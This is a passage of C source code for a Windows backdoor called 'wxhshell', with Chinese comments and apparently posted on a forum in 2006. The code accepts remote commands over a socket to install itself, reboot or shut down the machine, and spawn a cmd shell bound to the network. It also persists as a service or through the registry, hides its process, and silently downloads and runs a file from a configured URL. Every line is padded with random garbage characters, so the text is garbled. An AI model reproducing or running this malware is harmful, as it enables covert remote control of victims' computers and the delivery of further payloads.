    switch(cmd[0]) { aU4v-9@U8  
  ,FlF.pt  
  // 帮助 rs`H':a/  
  case '?': { cEhwv0f!qS  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ix [aS  
    break; ^dM,K p  
  } Ox Zw;yD  
  // 安装 ? L|m:A`  
  case 'i': { LSs!U 3"  
    if(Install()) DfXXN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gR )xw)!  
    else ]Wa.k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dX^OV$  
    break;  :RBp  
    } >T'^&l(:  
  // 卸载 c!d>6:\  
  case 'r': { :U$<h  
    if(Uninstall()) * _)xlpy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8*k#T\  
    else `%SFu  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R/VrBiw  
    break; 07:CcT  
    } A (S=  
  // 显示 wxhshell 所在路径 (&npr96f  
  case 'p': { :<=A1>&8  
    char svExeFile[MAX_PATH]; N<}{oIsZ+  
    strcpy(svExeFile,"\n\r"); HTA@en[5  
      strcat(svExeFile,ExeFile); G|*^W;(Z  
        send(wsh,svExeFile,strlen(svExeFile),0); f5.rzrU  
    break; hN=YC\l  
    } Vv8e"S  
  // 重启 6p|*H?|It  
  case 'b': { qq9fZZb  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2y s'q !  
    if(Boot(REBOOT)) r+r-[z D(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n&DRh.@  
    else { Hpo7diBE  
    closesocket(wsh); I<PKwT/?  
    ExitThread(0); ;-Fr^|do y  
    } w 4-E@>%  
    break; )4q0(O)d  
    } ~"6/OJA  
  // 关机 +n_`*@SE  
  case 'd': { *.nC'$-2r  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )`<- c2  
    if(Boot(SHUTDOWN)) vs]#?3+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WP{!|d&  
    else { +0lvQVdp}  
    closesocket(wsh); Wyh   
    ExitThread(0); l?F-w;wHN  
    } Z\Qa6f!  
    break; &.~Xl:lq  
    } RKB--$ibj  
  // 获取shell f-!t31?XK  
  case 's': { A& u"NgJ  
    CmdShell(wsh); $n>|9(K8  
    closesocket(wsh); DY<Br;  
    ExitThread(0); ?ra6Lo  
    break; U,q ]  
  } "_dh6naZX  
  // 退出 `hJSo?G>  
  case 'x': { ]"?+R+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); yf5X=f.%@  
    CloseIt(wsh); N&ZIsaK,j  
    break; agdiJ-lyQ  
    } `uK_}Vy_  
  // 离开 E{_$C!.  
  case 'q': { ~{MmUp rS  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2' fg  
    closesocket(wsh); MW&ww14  
    WSACleanup(); DY]\@<ez  
    exit(1); Rf7*Ut wVr  
    break; Ewg5s?2|  
        } =<~/U?  
  } 5T]GyftFV  
  } _c| aRRW  
^3`CP4DT  
  // 提示信息 *oR`l32O0z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /Hxz@=LC1  
} z=q   
  } )<W6cDx'H+  
K5(:UIWx  
  return; 0>PO4WFVJ  
} GMLDmTV  
V *2 =S  
// shell模块句柄 -8F~Tffx  
int CmdShell(SOCKET sock) d3 h^L  
{ aBL+i-  
STARTUPINFO si; "n'LF?/H'  
ZeroMemory(&si,sizeof(si)); -4:L[.2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yj]\%3o<Z7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; u[25U;xo  
PROCESS_INFORMATION ProcessInfo; WHh=ht s\  
char cmdline[]="cmd"; iM'{,~8R5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); N"d*pi#h  
  return 0; 3)SO-Bz\  
} Y>eypfK"  
i7^_y3dG  
// 自身启动模式 Iz;hje4JL  
int StartFromService(void) t-#Y6U}b+  
{ oe1Dm   
typedef struct dL9QYIfP  
{ {eR,a-D!7  
  DWORD ExitStatus; v&CKtk!3{  
  DWORD PebBaseAddress; <&&xt ?I.  
  DWORD AffinityMask; =1D* JU  
  DWORD BasePriority; >icK]W  
  ULONG UniqueProcessId; U4hsbraz  
  ULONG InheritedFromUniqueProcessId; v6{qKpU#  
}   PROCESS_BASIC_INFORMATION; 7X|M\WUq  
pq;)l( Hi  
PROCNTQSIP NtQueryInformationProcess; !?Tu pi  
4v#3UG  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ebF},Q(48  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; wg?:jK  
.F=15A  
  HANDLE             hProcess; , O=@I  
  PROCESS_BASIC_INFORMATION pbi; Q7PqN1jTE  
)9@I7QG?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); l\l\T<wa,  
  if(NULL == hInst ) return 0; kTQ`$V(>&  
F*WW v&\X  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4i'2~w{/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); r>lC(x\B  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); % ~%>3  
38P_wf~ \  
  if (!NtQueryInformationProcess) return 0; Q"]C" ?  
xBGSj[1`i  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }-{l(8-  
  if(!hProcess) return 0; Hl&]r'bK  
D]+tr%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -0| '{  
["N>Po  
  CloseHandle(hProcess); gM|X":j  
x9PEYhL?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); r]1|I6:&)  
if(hProcess==NULL) return 0; F]Zg9c{#  
Q!>8E4Z  
HMODULE hMod; ff"Cl p  
char procName[255]; whP>'9t.w  
unsigned long cbNeeded; tZ1iaYbvV  
F0Xv84:O  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -W>zON|l  
>VqMSe_v  
  CloseHandle(hProcess); Y=/3_[G   
7<{Zq8)  
if(strstr(procName,"services")) return 1; // 以服务启动 0-Xpq,0  
DC`6g#*<  
  return 0; // 注册表启动 lfR"22t  
} ;B`e;B?1Q  
\@4QG.3&  
// 主模块 WT(R =bLw  
int StartWxhshell(LPSTR lpCmdLine) Q>}I@eyJ  
{ yo V"?W>!  
  SOCKET wsl; +7+ VbsFG  
BOOL val=TRUE; T$%u=$E%F  
  int port=0; ,%d n)gt7  
  struct sockaddr_in door; ;,*U,eV  
*cTN5 S>  
  if(wscfg.ws_autoins) Install(); `(.ue8T  
+XWXHt  
port=atoi(lpCmdLine); Yl1@ gw7  
n*D)RiW  
if(port<=0) port=wscfg.ws_port; T4Z("  
Fg4eIE-/M  
  WSADATA data; ^f!d8 V  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; pM[UC{  
NLb/Bja  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Ltcr]T(Ic  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); txr!3-Ne'!  
  door.sin_family = AF_INET; 4)9X) Qx  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); oG@P M+{  
  door.sin_port = htons(port); #=t:xEz  
~2A<fL,-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { OAw/  
closesocket(wsl); "_'9KBd!  
return 1; 1aYO:ZPy  
} e~rBV+f  
l W&glU(  
  if(listen(wsl,2) == INVALID_SOCKET) { 0; V{yh  
closesocket(wsl); RW>Z~Nj  
return 1; >1s:F5u"  
} {LJCY<IGq  
  Wxhshell(wsl); pSq\3Hp]Q  
  WSACleanup(); s'\"%~nF<  
94nvh:n  
return 0; [4xN:i  
;5y4v  
} Kt}dTpVFr  
tGmyTBgx  
// 以NT服务方式启动 6t]oSxN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +< BAJWU  
{ G=Ka{J  
DWORD   status = 0; '{( n1es  
  DWORD   specificError = 0xfffffff; [+GQ3Z\  
^@X =v`C  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Zb2 B5( 0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `5e#9@/e  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; BzWmV .5  
  serviceStatus.dwWin32ExitCode     = 0; _,F wt  
  serviceStatus.dwServiceSpecificExitCode = 0; 8n~@Rj5  
  serviceStatus.dwCheckPoint       = 0; "{{xH*ij'  
  serviceStatus.dwWaitHint       = 0; ={maCYlE.  
!JYDg  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9@D,ZSi  
  if (hServiceStatusHandle==0) return; zP=J5qOZ8  
T/ S-}|fhQ  
status = GetLastError(); d G:=tf&1R  
  if (status!=NO_ERROR) 9MM4C  
{ 2~]c`/M3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; H`@x5RjS   
    serviceStatus.dwCheckPoint       = 0; hDp'=}85@  
    serviceStatus.dwWaitHint       = 0; kf5921(P  
    serviceStatus.dwWin32ExitCode     = status; =:a 3cr~  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2? !b!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?6j@EJ<2q  
    return; RNvtgZ}k{X  
  } @~gz-l^$  
`hH1rw@7<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2N)vEUyDV  
  serviceStatus.dwCheckPoint       = 0; R!$j_H  
  serviceStatus.dwWaitHint       = 0; >656if O  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (x=NA )  
} dd4yS}yBlR  
o~GhV4vq  
// 处理NT服务事件,比如:启动、停止 5gJQr%pS  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 23+GX&Rp  
{ Uc9Uj  
switch(fdwControl) ;UPw;'  
{ 8:M~m]Z+|  
case SERVICE_CONTROL_STOP: EKoCm)}d  
  serviceStatus.dwWin32ExitCode = 0; 80+" x3r  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; s` S<BX7  
  serviceStatus.dwCheckPoint   = 0; m&ZdtB|  
  serviceStatus.dwWaitHint     = 0; vB.LbYyF  
  { 9U;) [R Mb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @[JQCQ#r  
  } has5"Bb  
  return; MCYrsgg}  
case SERVICE_CONTROL_PAUSE: V@Po}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; sk],_l<  
  break; 1y?TyUP  
case SERVICE_CONTROL_CONTINUE: 3d,|26I7f  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Pel3e ~?t  
  break; z-,U(0 .  
case SERVICE_CONTROL_INTERROGATE: aX  ?ON  
  break; \j K?R 6  
}; C(gH}N4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e|kYu[^  
} vO&1F@  
beIEy(rA  
// 标准应用程序主函数 O~xc> w  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2&Efqy8}DZ  
{ lv8tS-  
v4S|&m  
// 获取操作系统版本 Y}Qu-fm  
OsIsNt=GetOsVer(); 8"S0E(,mu  
GetModuleFileName(NULL,ExeFile,MAX_PATH); b9\=NdyCY  
6w@l#p  
  // 从命令行安装 ^Nc\D7( l  
  if(strpbrk(lpCmdLine,"iI")) Install(); d ch(HB}[  
_ :][{W#  
  // 下载执行文件 8taaBM`:  
if(wscfg.ws_downexe) { AalyEn&>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %_/_klxnO  
  WinExec(wscfg.ws_filenam,SW_HIDE); vwT?Bp  
} s=KA(4p  
A>'o5+  
if(!OsIsNt) { {cG&l:-r  
// 如果时win9x,隐藏进程并且设置为注册表启动 46$5f?Z  
HideProc(); HF0J>Clq  
StartWxhshell(lpCmdLine); pRYt.}/K  
} ^LnCxA&QH  
else b9"Q.*c<Z^  
  if(StartFromService()) &0N 3 p  
  // 以服务方式启动 G2em>W_n  
  StartServiceCtrlDispatcher(DispatchTable); 7DT9\BT  
else L%=u&9DmU  
  // 普通方式启动 o 0fsM;K  
  StartWxhshell(lpCmdLine); ==Y^~ab;K  
|~uCLf>  
return 0; X\flx~  
}
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只看该作者 1 发表于: 2006-10-10
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